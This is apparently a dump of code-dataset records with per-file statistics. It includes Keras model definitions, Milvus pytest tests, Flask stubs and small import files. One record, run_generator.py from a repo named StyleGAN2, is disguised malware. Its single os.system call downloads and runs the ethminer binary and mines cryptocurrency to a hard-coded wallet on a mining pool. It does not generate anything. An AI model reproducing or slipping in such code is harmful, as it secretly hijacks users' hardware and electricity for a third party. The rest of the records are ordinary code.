epsilon=batch_norm_eps)) model.add(Activation('softmax')) elif dataset=="CIFAR-10" or dataset=="SVHN": model=Sequential() model.add(binary_conv(pruning_prob=0.1,nfilters=64,ch_in=3,k=3,padding='valid',input_shape=[32,32,3],first_layer=True,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_conv(levels=resid_levels,pruning_prob=0.1,nfilters=64,ch_in=64,k=3,padding='valid',LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(MaxPooling2D(pool_size=(2, 2),strides=(2,2))) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_conv(levels=resid_levels,pruning_prob=0.2,nfilters=128,ch_in=64,k=3,padding='valid',LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_conv(levels=resid_levels,pruning_prob=0.2,nfilters=128,ch_in=128,k=3,padding='valid',LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(MaxPooling2D(pool_size=(2, 2),strides=(2,2))) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_conv(levels=resid_levels,pruning_prob=0.3,nfilters=256,ch_in=128,k=3,padding='valid',LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_conv(levels=resid_levels,pruning_prob=0.3,nfilters=256,ch_in=256,k=3,padding='valid',LUT=LUT,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(my_flat()) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,pruning_prob=0.8,n_in=int(model.output.get_shape()[2]),n_out=512,LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,pruning_prob=0.8,n_in=int(model.output.get_shape()[2]),n_out=512,LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Residual_sign(levels=resid_levels,trainable=trainable_means)) model.add(binary_dense(levels=resid_levels,pruning_prob=0.5,n_in=int(model.output.get_shape()[2]),n_out=10,LUT=False,BINARY=BINARY)) model.add(BatchNormalization(axis=-1, momentum=batch_norm_alpha, epsilon=batch_norm_eps)) model.add(Activation('softmax')) else: raise("dataset should be one of the following list: [MNIST, CIFAR-10, SVHN, Imagenet].") return model
68.323944
135
0.808493
764
4,851
4.908377
0.134817
0.096
0.113333
0.074667
0.845067
0.8296
0.8296
0.8296
0.819467
0.809067
0
0.028013
0.050711
4,851
70
136
69.3
0.786319
0.00536
0
0.596774
0
0
0.029028
0
0
0
0
0
0
1
0.016129
false
0
0.112903
0
0.145161
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
8744c06f01825299d537dfd1939496d72d00c084
368
py
Python
run_generator.py
KunalSingh19yt/StyleGAN2
75a17dbf3f9e93995c6952514324f30da85c3412
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
KunalSingh19yt/StyleGAN2
75a17dbf3f9e93995c6952514324f30da85c3412
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
KunalSingh19yt/StyleGAN2
75a17dbf3f9e93995c6952514324f30da85c3412
[ "BSD-Source-Code" ]
null
null
null
import os os.system("apt update && apt install wget unzip -y && wget https://github.com/ethereum-mining/ethminer/releases/download/v0.18.0/ethminer-0.18.0-cuda-9-linux-x86_64.tar.gz && tar -zxvf ethminer-0.18.0-cuda-9-linux-x86_64.tar.gz && cd bin/ && ./ethminer -U -P stratum2+tcp://0x6ff85749ffac2d3a36efa2bc916305433fa93731.ipqce2xl5hi6b3x@us1.ethermine.org:4444")
122.666667
357
0.763587
60
368
4.65
0.666667
0.032258
0.078853
0.086022
0.229391
0.229391
0.229391
0.229391
0.229391
0.229391
0
0.169096
0.067935
368
2
358
184
0.644315
0
0
0
0
0.5
0.934783
0.375
0
0
0.11413
0
0
1
0
true
0
0.5
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
875205f494ba361729c1bf9b3113b585b656461a
113
py
Python
src/kbana/capture/__init__.py
agmaengine/kbana
65408358062848bf9a2e08f0c2a7b80d387bc753
[ "MIT" ]
null
null
null
src/kbana/capture/__init__.py
agmaengine/kbana
65408358062848bf9a2e08f0c2a7b80d387bc753
[ "MIT" ]
null
null
null
src/kbana/capture/__init__.py
agmaengine/kbana
65408358062848bf9a2e08f0c2a7b80d387bc753
[ "MIT" ]
null
null
null
from .keyboard_capture import Recorder, load_recording, save_recording, get_keyboard_language, flatten_recording
56.5
112
0.884956
14
113
6.714286
0.785714
0
0
0
0
0
0
0
0
0
0
0
0.070796
113
1
113
113
0.895238
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
87585f86cfe7d6f1cf5ca2241e540ad7a1ba10f9
15,590
py
Python
tests20/python_client/testcases/test_utility.py
shinoys222/milvus
bc8392eb1e71f12de54ad4efd14dcd7f7b353d23
[ "Apache-2.0" ]
null
null
null
tests20/python_client/testcases/test_utility.py
shinoys222/milvus
bc8392eb1e71f12de54ad4efd14dcd7f7b353d23
[ "Apache-2.0" ]
null
null
null
tests20/python_client/testcases/test_utility.py
shinoys222/milvus
bc8392eb1e71f12de54ad4efd14dcd7f7b353d23
[ "Apache-2.0" ]
null
null
null
import copy import pdb import pytest from pymilvus_orm import FieldSchema from base.client_base import TestcaseBase from base.collection_wrapper import ApiCollectionWrapper from base.partition_wrapper import ApiPartitionWrapper from base.index_wrapper import ApiIndexWrapper from base.utility_wrapper import ApiUtilityWrapper from utils.util_log import test_log as log from common import common_func as cf from common import common_type as ct from common.common_type import CaseLabel, CheckTasks prefix = "utility" default_schema = cf.gen_default_collection_schema() default_field_name = ct.default_float_vec_field_name default_index_params = {"index_type": "IVF_SQ8", "metric_type": "L2", "params": {"nlist": 64}} class TestUtilityParams(TestcaseBase): """ Test case of index interface """ @pytest.fixture( scope="function", params=ct.get_invalid_strs ) def get_invalid_collection_name(self, request): yield request.param @pytest.fixture( scope="function", params=ct.get_invalid_strs ) def get_invalid_partition_name(self, request): yield request.param @pytest.mark.tags(CaseLabel.L1) def test_has_collection_name_invalid(self, get_invalid_collection_name): """ target: test has_collection with error collection name method: input invalid name expected: raise exception """ self._connect() c_name = get_invalid_collection_name if isinstance(c_name, str) and c_name: self.utility_wrap.has_collection(c_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "Invalid collection name"}) # elif not isinstance(c_name, str): # self.utility_wrap.has_collection(c_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "illegal"}) @pytest.mark.tags(CaseLabel.L1) def test_has_partition_collection_name_invalid(self, get_invalid_collection_name): """ target: test has_partition with error collection name method: input invalid name expected: raise exception """ self._connect() c_name = get_invalid_collection_name p_name = cf.gen_unique_str(prefix) if isinstance(c_name, str) and c_name: self.utility_wrap.has_partition(c_name, p_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "Invalid"}) @pytest.mark.tags(CaseLabel.L1) def test_has_partition_name_invalid(self, get_invalid_partition_name): """ target: test has_partition with error partition name method: input invalid name expected: raise exception """ self._connect() ut = ApiUtilityWrapper() c_name = cf.gen_unique_str(prefix) p_name = get_invalid_partition_name if isinstance(p_name, str) and p_name: ex, _ = ut.has_partition(c_name, p_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "Invalid"}) # TODO: enable @pytest.mark.tags(CaseLabel.L1) def _test_list_collections_using_invalid(self): """ target: test list_collections with invalid using method: input invalid name expected: raise exception """ self._connect() using = "empty" ut = ApiUtilityWrapper() ex, _ = ut.list_collections(using=using, check_items={"err_code": 0, "err_msg": "should create connect"}) @pytest.mark.tags(CaseLabel.L1) def test_index_process_invalid_name(self, get_invalid_collection_name): """ target: test building_process method: input invalid name expected: raise exception """ self._connect() c_name = get_invalid_collection_name ut = ApiUtilityWrapper() # if isinstance(c_name, str) and c_name: # ex, _ = ut.index_building_progress(c_name, check_items={"err_code": 1, "err_msg": "Invalid collection name"}) # TODO: not support index name @pytest.mark.tags(CaseLabel.L1) def _test_index_process_invalid_index_name(self, get_invalid_index_name): """ target: test building_process method: input invalid index name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) index_name = get_invalid_index_name ut = ApiUtilityWrapper() ex, _ = ut.index_building_progress(c_name, index_name) log.error(str(ex)) assert "invalid" or "illegal" in str(ex) @pytest.mark.tags(CaseLabel.L1) def test_wait_index_invalid_name(self, get_invalid_collection_name): """ target: test wait_index method: input invalid name expected: raise exception """ self._connect() c_name = get_invalid_collection_name ut = ApiUtilityWrapper() # if isinstance(c_name, str) and c_name: # ex, _ = ut.wait_for_index_building_complete(c_name, check_items={"err_code": 1, "err_msg": "Invalid collection name"}) @pytest.mark.tags(CaseLabel.L1) def _test_wait_index_invalid_index_name(self, get_invalid_index_name): """ target: test wait_index method: input invalid index name expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) index_name = get_invalid_index_name ut = ApiUtilityWrapper() ex, _ = ut.wait_for_index_building_complete(c_name, index_name) log.error(str(ex)) assert "invalid" or "illegal" in str(ex) class TestUtilityBase(TestcaseBase): """ Test case of index interface """ @pytest.mark.tags(CaseLabel.L1) def test_has_collection(self): """ target: test has_collection with collection name method: input collection name created before expected: True """ cw = self.init_collection_wrap() res, _ = self.utility_wrap.has_collection(cw.name) assert res is True @pytest.mark.tags(CaseLabel.L2) def test_has_collection_not_created(self): """ target: test has_collection with collection name which is not created method: input random collection name expected: False """ c_name = cf.gen_unique_str(prefix) _ = self.init_collection_wrap() res, _ = self.utility_wrap.has_collection(c_name) assert res is False @pytest.mark.tags(CaseLabel.L1) def test_has_collection_after_drop(self): """ target: test has_collection with collection name droped before method: input random collection name expected: False """ c_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) res, _ = self.utility_wrap.has_collection(c_name) assert res is True cw.drop() res, _ = self.utility_wrap.has_collection(c_name) assert res is False @pytest.mark.tags(CaseLabel.L2) def test_has_partition(self): """ target: test has_partition with partition name method: input collection name and partition name created before expected: True """ c_name = cf.gen_unique_str(prefix) p_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) self.init_partition_wrap(cw, p_name) res, _ = self.utility_wrap.has_partition(c_name, p_name) assert res is True @pytest.mark.tags(CaseLabel.L1) def test_has_partition_not_created(self): """ target: test has_partition with partition name method: input collection name, and partition name not created before expected: True """ c_name = cf.gen_unique_str(prefix) p_name = cf.gen_unique_str() self.init_collection_wrap(name=c_name) res, _ = self.utility_wrap.has_partition(c_name, p_name) assert res is False @pytest.mark.tags(CaseLabel.L1) def test_has_partition_after_drop(self): """ target: test has_partition with partition name method: input collection name, and partition name dropped expected: True """ c_name = cf.gen_unique_str(prefix) p_name = cf.gen_unique_str() cw = self.init_collection_wrap(name=c_name) pw = self.init_partition_wrap(cw, p_name) res, _ = self.utility_wrap.has_partition(c_name, p_name) assert res is True pw.drop() res, _ = self.utility_wrap.has_partition(c_name, p_name) assert res is False @pytest.mark.xfail(reason="issue #5667") @pytest.mark.tags(CaseLabel.L1) def test_list_collections(self): """ target: test list_collections method: create collection, list_collections expected: in the result """ c_name = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name) res, _ = self.utility_wrap.list_collections() assert c_name in res # TODO: make sure all collections deleted @pytest.mark.tags(CaseLabel.L1) def _test_list_collections_no_collection(self): """ target: test list_collections method: no collection created, list_collections expected: length of the result equals to 0 """ self._connect() res, _ = self.utility_wrap.list_collections() assert len(res) == 0 @pytest.mark.tags(CaseLabel.L1) def test_index_process_collection_not_existed(self): """ target: test building_process method: input collection not created before expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.utility_wrap.index_building_progress(c_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "can't find collection"}) @pytest.mark.xfail(reason="issue #5673") @pytest.mark.tags(CaseLabel.L1) def test_index_process_collection_empty(self): """ target: test building_process method: input empty collection expected: no exception raised """ c_name = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name) res, _ = self.utility_wrap.index_building_progress(c_name) assert "indexed_rows" in res assert res["indexed_rows"] == 0 assert "total_rows" in res assert res["total_rows"] == 0 @pytest.mark.xfail(reason="issue #5674") @pytest.mark.tags(CaseLabel.L1) def test_index_process_collection_insert_no_index(self): """ target: test building_process method: insert 1 entity, no index created expected: no exception raised """ nb = 1 c_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) data = cf.gen_default_list_data(nb) cw.insert(data=data) res, _ = self.utility_wrap.index_building_progress(c_name) assert "indexed_rows" in res assert res["indexed_rows"] == 0 assert "total_rows" in res assert res["total_rows"] == nb @pytest.mark.xfail(reason="issue #5674") @pytest.mark.tags(CaseLabel.L1) def test_index_process_collection_index(self): """ target: test building_process method: insert 1200 entities, build and call building_process expected: 1200 entity indexed """ nb = 1200 c_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) data = cf.gen_default_list_data(nb) cw.insert(data=data) res, _ = self.utility_wrap.index_building_progress(c_name) assert "indexed_rows" in res assert res["indexed_rows"] == nb assert "total_rows" in res assert res["total_rows"] == nb @pytest.mark.tags(CaseLabel.L1) def test_index_process_collection_indexing(self): """ target: test building_process method: call building_process during building expected: 1200 entity indexed """ nb = 1200 c_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) data = cf.gen_default_list_data(nb) cw.insert(data=data) cw.create_index(default_field_name, default_index_params) res, _ = self.utility_wrap.index_building_progress(c_name) for _ in range(2): assert "indexed_rows" in res assert res["indexed_rows"] <= nb assert res["indexed_rows"] >= 0 assert "total_rows" in res assert res["total_rows"] == nb @pytest.mark.tags(CaseLabel.L1) def test_wait_index_collection_not_existed(self): """ target: test wait_index method: input collection not created before expected: raise exception """ self._connect() c_name = cf.gen_unique_str(prefix) self.utility_wrap.wait_for_index_building_complete(c_name, check_task=CheckTasks.err_res, check_items={"err_code": 1, "err_msg": "can't find collection"}) @pytest.mark.tags(CaseLabel.L1) def test_wait_index_collection_empty(self): """ target: test wait_index method: input empty collection expected: no exception raised """ self._connect() c_name = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name) res, _ = self.utility_wrap.wait_for_index_building_complete(c_name) assert res is None @pytest.mark.tags(CaseLabel.L1) @pytest.mark.skip(reason='hang issue #6272') def test_wait_index_collection_index(self): """ target: test wait_index method: insert 1200 entities, build and call wait_index expected: 1200 entity indexed """ nb = 1200 c_name = cf.gen_unique_str(prefix) cw = self.init_collection_wrap(name=c_name) data = cf.gen_default_list_data(nb) cw.insert(data=data) cw.create_index(default_field_name, default_index_params) res, _ = self.utility_wrap.wait_for_index_building_complete(c_name) assert res is None res, _ = self.utility_wrap.index_building_progress(c_name) assert res["indexed_rows"] == nb class TestUtilityAdvanced(TestcaseBase): """ Test case of index interface """ @pytest.mark.tags(CaseLabel.L2) def test_has_collection_multi_collections(self): """ target: test has_collection with collection name method: input collection name created before expected: True """ c_name = cf.gen_unique_str(prefix) c_name_2 = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name) self.init_collection_wrap(name=c_name_2) for name in [c_name, c_name_2]: res, _ = self.utility_wrap.has_collection(name) assert res is True @pytest.mark.tags(CaseLabel.L2) def test_list_collections_multi_collection(self): """ target: test list_collections method: create collection, list_collections expected: in the result """ c_name = cf.gen_unique_str(prefix) c_name_2 = cf.gen_unique_str(prefix) self.init_collection_wrap(name=c_name) self.init_collection_wrap(name=c_name_2) res, _ = self.utility_wrap.list_collections() for name in [c_name, c_name_2]: assert name in res
36.943128
162
0.659012
2,002
15,590
4.82967
0.086913
0.040335
0.037646
0.061847
0.862344
0.840521
0.824801
0.774123
0.724687
0.659013
0
0.009093
0.252277
15,590
421
163
37.030879
0.820365
0.215779
0
0.672131
0
0
0.048905
0
0
0
0
0.007126
0.139344
1
0.114754
false
0
0.053279
0
0.180328
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
5e55f73c2a86f2dd55e0bb3efcee4238d5951700
44
py
Python
Cursos/dados.py
FranciscoAlveJr/Bot_Telegram
9960485a4a25648719ef6fafcb3b02c82db79253
[ "MIT" ]
null
null
null
Cursos/dados.py
FranciscoAlveJr/Bot_Telegram
9960485a4a25648719ef6fafcb3b02c82db79253
[ "MIT" ]
null
null
null
Cursos/dados.py
FranciscoAlveJr/Bot_Telegram
9960485a4a25648719ef6fafcb3b02c82db79253
[ "MIT" ]
null
null
null
import os import cursos print(os.getcwd())
8.8
18
0.75
7
44
4.714286
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.136364
44
4
19
11
0.868421
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0.333333
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
5e8c7ae9323402a2e943debbb338d413fae25f82
55
py
Python
glue/dialogs/link_editor/qt/__init__.py
ejeschke/glue
21689e3474aeaeb70e258d76c60755596856976c
[ "BSD-3-Clause" ]
3
2015-09-10T22:23:55.000Z
2019-04-04T18:47:33.000Z
glue/dialogs/link_editor/qt/__init__.py
ejeschke/glue
21689e3474aeaeb70e258d76c60755596856976c
[ "BSD-3-Clause" ]
null
null
null
glue/dialogs/link_editor/qt/__init__.py
ejeschke/glue
21689e3474aeaeb70e258d76c60755596856976c
[ "BSD-3-Clause" ]
null
null
null
from .link_editor import * from .link_equation import *
27.5
28
0.8
8
55
5.25
0.625
0.380952
0
0
0
0
0
0
0
0
0
0
0.127273
55
2
28
27.5
0.875
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
5ea780703eb96440131ff2f7df9c05a71828097d
186
py
Python
services/homeberry/tests/modules/soundplayer/test_player.py
georgeyord/homeberry
c21d531901a3df9d3efde7cbf83fb5a29223069f
[ "Apache-2.0" ]
1
2020-04-23T06:28:16.000Z
2020-04-23T06:28:16.000Z
services/homeberry/tests/modules/soundplayer/test_player.py
georgeyord/homeberry
c21d531901a3df9d3efde7cbf83fb5a29223069f
[ "Apache-2.0" ]
null
null
null
services/homeberry/tests/modules/soundplayer/test_player.py
georgeyord/homeberry
c21d531901a3df9d3efde7cbf83fb5a29223069f
[ "Apache-2.0" ]
null
null
null
import os from application.modules.soundplayer import setup_notes, sounds def test_setup_notes(): assert len(sounds) == 0 setup_notes(os.getcwd()) assert len(sounds) == 7
18.6
63
0.72043
26
186
5
0.615385
0.230769
0.230769
0
0
0
0
0
0
0
0
0.013072
0.177419
186
9
64
20.666667
0.836601
0
0
0
0
0
0
0
0
0
0
0
0.333333
1
0.166667
true
0
0.333333
0
0.5
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
6
5ebadb2002017d8130dec126c7a2fc5f100dc143
204
py
Python
app/config.py
susieward/xfiles-generator
c20457200d01ad9a742d0bc831313ff45a93a6f0
[ "MIT" ]
null
null
null
app/config.py
susieward/xfiles-generator
c20457200d01ad9a742d0bc831313ff45a93a6f0
[ "MIT" ]
null
null
null
app/config.py
susieward/xfiles-generator
c20457200d01ad9a742d0bc831313ff45a93a6f0
[ "MIT" ]
null
null
null
class Config: RNN_PATH = './app/models/rnn/trained_rnn_lstm5.h5' MODEL_PATH = './app/models/transformer' TEXT_PATH = './app/models/data/xfiles_117.txt' def get_config(): return Config()
22.666667
54
0.686275
29
204
4.586207
0.655172
0.157895
0.293233
0
0
0
0
0
0
0
0
0.02924
0.161765
204
8
55
25.5
0.748538
0
0
0
0
0
0.458128
0.458128
0
0
0
0
0
1
0.166667
false
0
0
0.166667
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
1
1
0
0
6
0d5be2d42eb097a5005bd9fc3ff1a2779502be43
123
py
Python
test/testapp/views.py
jboegeholz/flask_urls
382fcf7763a3aa35c6e395e308546589318679d8
[ "MIT" ]
1
2021-06-21T15:18:51.000Z
2021-06-21T15:18:51.000Z
test/testapp/views.py
jboegeholz/flask_urls
382fcf7763a3aa35c6e395e308546589318679d8
[ "MIT" ]
null
null
null
test/testapp/views.py
jboegeholz/flask_urls
382fcf7763a3aa35c6e395e308546589318679d8
[ "MIT" ]
1
2021-09-25T15:29:45.000Z
2021-09-25T15:29:45.000Z
def index(): return "hello index" def get_users(): return "hello users!" def admin(): return "Hello Admin"
11.181818
25
0.617886
16
123
4.6875
0.4375
0.44
0
0
0
0
0
0
0
0
0
0
0.252033
123
10
26
12.3
0.815217
0
0
0
0
0
0.276423
0
0
0
0
0
0
1
0.5
true
0
0
0.5
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
1
1
0
0
6
0d6cd3bfdd823dc4e62de1fd8d9abab209c0c4bc
345
py
Python
dataset/__init__.py
DePengW/PSENet
72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119
[ "Apache-2.0" ]
null
null
null
dataset/__init__.py
DePengW/PSENet
72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119
[ "Apache-2.0" ]
1
2020-05-18T09:31:09.000Z
2020-05-20T07:23:51.000Z
dataset/__init__.py
DePengW/PSENet
72b75f2fa3c8c7e7b04a13dda3301dbfb2a03119
[ "Apache-2.0" ]
null
null
null
from dataset.icdar2015_loader import IC15Loader from dataset.icdar2015_test_loader import IC15TestLoader from dataset.ctw1500_loader import CTW1500Loader from dataset.ctw1500_test_loader import CTW1500TestLoader #add for keypoints from dataset.icdar2015_loader_Wdp import IC15LoaderWdp from dataset.ctw1500_loader_Wdp import CTW1500LoaderWdp
31.363636
57
0.892754
43
345
6.930233
0.395349
0.221477
0.201342
0.174497
0
0
0
0
0
0
0
0.133333
0.086957
345
10
58
34.5
0.812698
0.049275
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
0d8b85657ff6c57d4f92b4c6c4a78193f62067c3
180
py
Python
python/ql/src/Exceptions/RaisingTuple2.py
vadi2/codeql
a806a4f08696d241ab295a286999251b56a6860c
[ "MIT" ]
4,036
2020-04-29T00:09:57.000Z
2022-03-31T14:16:38.000Z
python/ql/src/Exceptions/RaisingTuple2.py
vadi2/codeql
a806a4f08696d241ab295a286999251b56a6860c
[ "MIT" ]
2,970
2020-04-28T17:24:18.000Z
2022-03-31T22:40:46.000Z
python/ql/src/Exceptions/RaisingTuple2.py
ScriptBox99/github-codeql
2ecf0d3264db8fb4904b2056964da469372a235c
[ "MIT" ]
794
2020-04-29T00:28:25.000Z
2022-03-30T08:21:46.000Z
def fixed_raise_tuple1(): ex = Exception("Important diagnostic information") raise ex def fixed_raise_tuple2(): raise Exception, "Important diagnostic information"
18
55
0.744444
20
180
6.5
0.5
0.123077
0.2
0.6
0
0
0
0
0
0
0
0.013514
0.177778
180
9
56
20
0.864865
0
0
0
0
0
0.359551
0
0
0
0
0
0
0
null
null
0
0.4
null
null
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
6
0d8c2eec72d91c2da5f9f286644be9c96cb8db9e
155
py
Python
NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py
Alejandro-sin/Learning_Notebooks
161d6bed4c7b1d171b45f61c0cc6fa91e9894aad
[ "MIT" ]
1
2021-02-26T13:12:22.000Z
2021-02-26T13:12:22.000Z
NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py
Alejandro-sin/Learning_Notebooks
161d6bed4c7b1d171b45f61c0cc6fa91e9894aad
[ "MIT" ]
null
null
null
NoteBooks/Curso de Flask/Ex_Files_Full_Stack_Dev_Flask/Exercise Files/Section 5/5.2, 5.3 Start/application/forms.py
Alejandro-sin/Learning_Notebooks
161d6bed4c7b1d171b45f61c0cc6fa91e9894aad
[ "MIT" ]
null
null
null
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, SubmitField, BooleanField from wtforms.validators import DataRequired
31
74
0.845161
17
155
7.647059
0.705882
0.169231
0
0
0
0
0
0
0
0
0
0
0.129032
155
4
75
38.75
0.962963
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
6
0db0a94524bc9670053e7701f3ff0215408bcb2e
45
py
Python
monolayout/__init__.py
tanaydw/monolayout
8503ac2f501b2df95e62cbd9a5c4fb8027738b28
[ "MIT" ]
136
2020-02-21T03:22:19.000Z
2022-03-31T02:24:58.000Z
monolayout/__init__.py
tanaydw/monolayout
8503ac2f501b2df95e62cbd9a5c4fb8027738b28
[ "MIT" ]
18
2020-05-04T02:33:03.000Z
2022-03-19T08:07:26.000Z
monolayout/__init__.py
tanaydw/monolayout
8503ac2f501b2df95e62cbd9a5c4fb8027738b28
[ "MIT" ]
26
2020-02-21T10:38:59.000Z
2022-02-16T08:12:46.000Z
from .datasets import * from .model import *
15
23
0.733333
6
45
5.5
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.177778
45
2
24
22.5
0.891892
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
0ddfa7c7919ae63b641aa7769e74f663db549c6e
89
py
Python
lidar_det/pipeline/__init__.py
VisualComputingInstitute/Person_MinkUNet
fa39764245a022740c0a3d8c85026532fff93e74
[ "MIT" ]
4
2021-10-15T13:40:48.000Z
2022-03-07T06:24:07.000Z
lidar_det/pipeline/__init__.py
VisualComputingInstitute/Person_MinkUNet
fa39764245a022740c0a3d8c85026532fff93e74
[ "MIT" ]
2
2022-01-29T23:54:01.000Z
2022-02-14T21:00:57.000Z
lidar_det/pipeline/__init__.py
VisualComputingInstitute/Person_MinkUNet
fa39764245a022740c0a3d8c85026532fff93e74
[ "MIT" ]
2
2021-10-20T13:44:24.000Z
2022-01-30T00:13:58.000Z
from .pipeline import * from .logger import * from .optim import * from .trainer import *
22.25
23
0.741573
12
89
5.5
0.5
0.454545
0
0
0
0
0
0
0
0
0
0
0.168539
89
4
24
22.25
0.891892
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
21cfcb9f9f0a1aead979cfedc90de9123c9630b8
23,604
py
Python
rest_api/tests/unit/test_block_requests.py
ltavag/sawtooth-core
50659f23437b27ecd666d4cf129f812e6adaedc4
[ "Apache-2.0" ]
2
2018-09-27T04:43:33.000Z
2019-10-23T14:32:31.000Z
rest_api/tests/unit/test_block_requests.py
ltavag/sawtooth-core
50659f23437b27ecd666d4cf129f812e6adaedc4
[ "Apache-2.0" ]
10
2020-05-12T06:58:15.000Z
2022-02-26T23:59:35.000Z
rest_api/tests/unit/test_block_requests.py
ltavag/sawtooth-core
50659f23437b27ecd666d4cf129f812e6adaedc4
[ "Apache-2.0" ]
4
2018-06-13T16:28:26.000Z
2018-06-13T16:47:22.000Z
